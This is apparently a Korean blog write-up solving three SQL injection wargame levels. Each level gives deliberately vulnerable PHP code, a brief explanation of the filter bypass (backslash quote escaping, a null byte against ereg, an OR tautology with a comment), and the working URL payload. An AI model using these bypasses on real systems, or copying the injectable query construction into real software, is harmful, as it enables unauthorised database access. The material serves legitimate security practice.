query : select id from prob_succubus where id='' and pw=''

<?php 
  
include "./config.php"
  
login_chk(); 
  
dbconnect(); 
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[id])) exit("No Hack ~_~"); 
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  if(
preg_match('/\'/i'$_GET[id])) exit("HeHe"); 
  if(
preg_match('/\'/i'$_GET[pw])) exit("HeHe"); 
  
$query "select id from prob_succubus where id='{$_GET[id]}' and pw='{$_GET[pw]}'"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if(
$result['id']) solve("succubus"); 
  
highlight_file(__FILE__); 
?>



  if($result['id']) solve("succubus"); 


쿼리의 결과값이 뭐든 나오면 문제가 풀립니다. id와 pw필드에 싱글쿼터를 필터링하고 있습니다. 우리는 \(백슬래시)를 적절히 이용하여 이 문제를 해결할 수 있습니다. id 파라미터에 \를 넣게되면 id 필드를 닫는 싱글쿼터가 문자열로 인식되어 pw 필드를 여는 싱글쿼터까지(' and pw=') 문자열로 인식되게 됩니다. 이후 우리가 pw 파라미터에 넣어주는 값은 문자열로 인식되는 필드를 벗어나게 됩니다.


?id=\&pw=||1%23

payload












query : select id from prob_zombie_assassin where id='' and pw=''

<?php 
  
include "./config.php"
  
login_chk(); 
  
dbconnect(); 
  if(
preg_match('/\\\|prob|_|\.|\(\)/i'$_GET[id])) exit("No Hack ~_~"); 
  if(
preg_match('/\\\|prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  if(@
ereg("'",$_GET[id])) exit("HeHe"); 
  if(@
ereg("'",$_GET[pw])) exit("HeHe"); 
  
$query "select id from prob_zombie_assassin where id='{$_GET[id]}' and pw='{$_GET[pw]}'"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if(
$result['id']) solve("zombie_assassin"); 
  
highlight_file(__FILE__); 
?>



  if($result['id']) solve("zombie_assassin"); 


쿼리의 결과값 id 값이 뭐든 출력되면 문제가 풀립니다. 다만 id와 pw 파라미터에 싱글쿼터가 ereg 함수로 필터링되어있네요. ereg 함수는 널바이트까지 인식하여 해당 문자열을 비교합니다. 때문에 널바이트 이후에 필터링 대상 문자열을 넣으면 해당 문자열은 필터링하지 않습니다. 우리는 이를 이용하여 문제를 해결할 수 있습니다.



?id=%00'||1%23

payload








query : select id from prob_skeleton where id='guest' and pw='' and 1=0

<?php 
  
include "./config.php"
  
login_chk(); 
  
dbconnect(); 
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  
$query "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if(
$result['id'] == 'admin'solve("skeleton"); 
  
highlight_file(__FILE__); 
?>



  if($result['id'] == 'admin'solve("skeleton"); 


쿼리의 결과값 id가 admin이면 문제가 풀립니다. id는 guest로 고정되어있고 pw에 괄호를 필터링하고 있습니다. 기존에 사용하던 방법 그대로 문제를 해결할 수 있습니다.



?pw='||id='admin'%23

payload






+ Recent posts